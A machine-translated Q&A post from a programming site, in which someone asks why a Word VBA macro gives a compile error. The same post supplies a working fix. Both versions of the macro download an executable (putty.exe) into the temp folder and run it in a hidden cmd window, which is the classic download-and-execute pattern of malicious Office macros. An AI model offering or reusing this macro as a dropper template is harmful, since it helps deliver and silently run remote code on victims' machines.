仅在宏字中编译错误vbs?

时间:2016-11-03 17:42:53

标签: vbscript word-vba

我试图下载并执行宏。我完成了vbs代码,它工作正常,然后我把它放在一些潜艇中并尝试将其作为宏运行。我收到了错误

  

编译错误,语法错误:objXMLHTTP.send()

奇怪的是,这只会产生一个宏的错误。

以下是完整代码:

Sub macro()
  Const ADTYPEBINARY = 1
  Const ADSAVECREATEOVERWRITE = 2

  Dim xHttp
  Dim bStrm
  Dim filename
  Dim fso

  Set fso = CreateObject("Scripting.FileSystemObject")
  Dim tempfolder
  Const TemporaryFolder = 2
  Set tempfolder = fso.GetSpecialFolder(TemporaryFolder)
  strFileURL = "ftp://username:pass@ftpserver.com/putty.exe"
  strHDLocation = tempfolder & "/putty.exe"

  Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")

  objXMLHTTP.Open "GET", strFileURL, False

  objXMLHTTP.send()

  If objXMLHTTP.Status = 200 Then
    Set objADOStream = CreateObject("ADODB.Stream")
    objADOStream.Open
    objADOStream.Type = 1 'adTypeBinary
  Else
    Set objADOStream = CreateObject("ADODB.Stream")
    objADOStream.Open
    objADOStream.Type = 1 'adTypeBinary

    objADOStream.Write objXMLHTTP.ResponseBody
    objADOStream.Position = 0    'Set the stream position to the start

    Set objFSO = CreateObject("Scripting.FileSystemObject")
    If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
    Set objFSO = Nothing

    objADOStream.SaveToFile strHDLocation
    objADOStream.Close
    Set objADOStream = Nothing
  End If

  Set objXMLHTTP = Nothing

  Set objShell = WScript.CreateObject("WScript.Shell")
  objShell.Run "cmd /c " & tempfolder & "/putty.exe", 0, True
End Sub

1 个答案:

答案 0 :(得分:0)

谢谢我将其更改为此并且工作正常:

Sub book()
    Set objShell = CreateObject("Wscript.Shell")
    Dim fso

    Set fso = CreateObject("Scripting.FileSystemObject")
    Dim tempfolder
    Const TemporaryFolder = 2
    Set tempfolder = fso.GetSpecialFolder(TemporaryFolder)

    Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
    Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
    xHttp.Open "GET", "https://the.earth.li/~sgtatham/putty/latest/x86/putty.exe", False
    xHttp.Send

    With bStrm
        .Type = 1 '//binary
        .Open
        .Write xHttp.responseBody
        .SaveTofile tempfolder & "/putty.exe", 2 '//overwrite
    End With

    objShell.Run "cmd /c " & tempfolder & "/putty.exe", 0, True
End Sub